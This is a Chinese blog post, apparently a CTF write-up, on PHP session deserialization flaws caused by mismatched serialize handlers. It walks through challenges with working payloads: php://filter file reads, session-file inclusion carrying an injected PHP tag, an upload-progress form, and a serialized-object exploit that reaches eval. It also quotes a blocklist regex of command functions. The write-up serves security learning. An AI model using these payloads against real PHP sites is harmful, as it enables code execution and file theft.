文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-05-30   2.5k

PHP反序列化漏洞学习——Session反序列化

0x01 PHP的Session机制

在学习 session 反序列化之前,我们需要了解这几个参数的含义。

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

那么具体而言,在默认配置情况下:

1
2
3
4
5
<?php
session_start()
$_SESSION['name'] = 'ca01h';
var_dump();
?>

SESSION文件的内容是:name|s:5:"ca01h",name是键值,s:5:"ca01h";serialize("ca01h")的结果。

在php_serialize引擎下:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'ca01h';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:5:"ca01h";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'ca01h';
var_dump();
?>

SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";

0x02 PHP Session反序列化的漏洞原因

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['ca01h'] = '|O:8:"stdClass":0:{}';

上面的 $_SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:

1
a:1:{s:5:"ca01h";s:20:"|O:8:"stdClass":0:{}";}

在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:

1
2
3
4
5
6
7
8
9
<?php
var_dump($_SESSION);
?>

array(1) {
["a:1:{s:5:"ca01h";s:20:""]=>
object(stdClass)#1 (0) {
}
}

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:5:"ca01h";s:20:"作为SESSION的key,将O:8:"stdClass":0:{}作为value,然后进行反序列化,最后就会得到stdClass这个类。

实际利用的话一般分为两种:

  • session.auto_start=On

    当配置选项 session.auto_start=On,会自动注册 Session 会话(相当于执行了session_start()),因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的。因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话。然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // foo1.php
    if(ini_get('session.auto_start'))
    session_destroy();

    ini_set('session.serialize_handler', 'php_serialize');
    session_start();

    if(isset($_GET['test']))
    $_SESSION['test'] = $_GET['test'];

    访问http://127.0.0.1/test/serialize/foo1.php?test=|O:8:"stdClass":0:{}

    如果在这个session设置成功后,有其他的页面使用这个session,由于处理器的不同,就会导致安全问题。然而PHP自动注册Session会话是在脚本执行前,所以通过该方式只能注入PHP的内置类。

    1
    2
    3
    <?php
    // foo2.php
    var_dump($_SESSION);

    php.ini配置中session_use_trans_sid = 1才能跨页面访问SESSION

  • session.auto_start=Off

    当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

    1
    2
    3
    4
    5
    6
    <?php
    // foo1.php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();

    $_SESSION['test'] = $_GET['test'];

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
      <?php
    // foo2.php
    session_start();

    class test {
    var $hi;

    function __wakeup() {
    echo 'hi';
    }
    function __destruct() {
    echo $this->hi;
    }
    }

0x03 例题解析

2018 XCTF Final bestphp

题目环境:https://github.com/shimmeris/CTF-Web-Challenges/tree/master/File-Inclusion/XCTF-Final-2018-Bestphp

直接给出了index.php的源码:

call_user_func()函数中的两个参数都是可控的,那么就可以回调extract()函数用户变量覆盖,进而读取本地文件:

image-20200610235853742

http://192.168.153.133:8003/?function=extract&file=php://filter/read=convert.base64-encode/resource=function.php

1
2
3
4
5
6
7
8
9
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>

http://192.168.153.133:8003/?function=extract&file=php://filter/read=convert.base64-encode/resource=admin.php

1
2
3
4
5
6
7
8
9
hello admin
<?php
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
?>

接下来主要讨论session漏洞利用问题session+lfi,由于代码:

1
ini_set('open_basedir', '/var/www/html:/tmp');

限制了我们无法直接去包含默认的路径:

1
/var/lib/php/sessions/sess_phpsessid

常见的Session存储位置:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID

/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

但是因为有变量覆盖因此可以通过session_start(),改变save_path的方式让session存储路径在open_basedir允许的目录下:

1
?function=session_start&save_path=/tmp

然后去包含:

1
?function=extract&file=/tmp/sess_arfguipj1mthu7bkma10j0f5o3

这里有一个$_SESSION['name'],并且其可以被我们post的name复制,那这就可以达到控制session内容的目的。

使用Hackbar直接POST数据:

1
name=<?=phpinfo();?>

再去包含对应的session:

1
?function=extract&file=/tmp/sess_arfguipj1mthu7bkma10j0f5o3

后面找到flag直接cat即可。

介绍另外一种思路:PHP7.0本地文件包含漏洞 包含自身从而导致死循环:https://xz.aliyun.com/t/3174#toc-4

jarvisoj PHPINFO

题目地址:http://web.jarvisoj.com:32784

在讲这道题之前,我们先来介绍一下session.upload_progress.enabled

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

这道题涉及到两个知识点,第一个知识点就是PHP Session 序列化及反序列化处理器设置使用不当。我们可以看到,INI中默认的处理器是php_serialize,而程序使用的却是php处理器。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

第二个知识点就是Upload progress in sessions,当一个上传在处理中,同时 post 一个与 ini 设置的 session.upload_progress.name 同名变量时,php 检测到这种 post 请求时就会在 $SESSION 中添加一组数据,所以可通过 session.upload_progress 来设置 session。

首先构造一个上传表单:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">       
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

再构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
$a=new OowoO();
$a->mdzz="var_dump(scandir('./'));";
echo serialize($a);

修改文件内容:

从phpinfo中可以看到网站的根目录在/opt/lampp/htdocs

file_get_contents()读取文件

新春战役2020 hackme

贴上出题的kaixin师傅的writeup:https://www.mrkaixin.top/posts/df9f633e/#5-0-hackme

没有复现环境,这里就主要说考察到的知识点:

PHP Session反序列化

profile.phpsession.serialize_handler用的是php,而init.php中设置的是php_serialize,这样就可以参考前面提到的PHP Session反序列化漏洞。

data协议以及4字命令注入

挖洞技巧:如何绕过URL限制

【CTF 攻略】如何绕过四个字符限制getshell

这个考点需要另外写一篇整理一下。

0x04 Reference

Title Url
带你走进PHP session反序列化漏洞 https://xz.aliyun.com/t/6640
PHP反序列化总结 https://www.cnblogs.com/tr1ple/p/11156279.html#sna43nW4
PHP反序列化入门之session反序列化 https://mochazz.github.io/2019/01/29/PHP反序列化入门之session反序列化/#PHP的session机制
GYCTF Hackme http://www.pdsdt.lovepdsdt.com/index.php/2020/03/09/187/#Hackme
Copyright © ca01h 2019-2020 | 本站总访问量